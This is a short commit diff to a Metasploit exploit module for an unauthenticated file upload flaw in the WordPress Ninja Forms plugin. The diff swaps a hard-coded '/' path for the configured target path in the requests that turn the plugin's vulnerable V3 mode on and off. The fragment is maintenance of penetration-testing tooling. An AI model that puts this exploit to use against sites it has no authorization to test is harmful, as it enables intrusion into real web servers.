Remove hard coded target path

modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb

@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status 'Enabling vulnerable V3 functionality...'
     res = send_request_cgi(
       'method'    => 'GET',
-      'uri'       => '/',
+      'uri'       => target_uri.path,
       'vars_get'  => { 'nf-switcher' => 'upgrade' }
     )
 
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status 'Disabling vulnerable V3 functionality...'
     res = send_request_cgi(
       'method'    => 'GET',
-      'uri'       => '/',
+      'uri'       => target_uri.path,
       'vars_get'  => { 'nf-switcher' => 'rollback' }
     )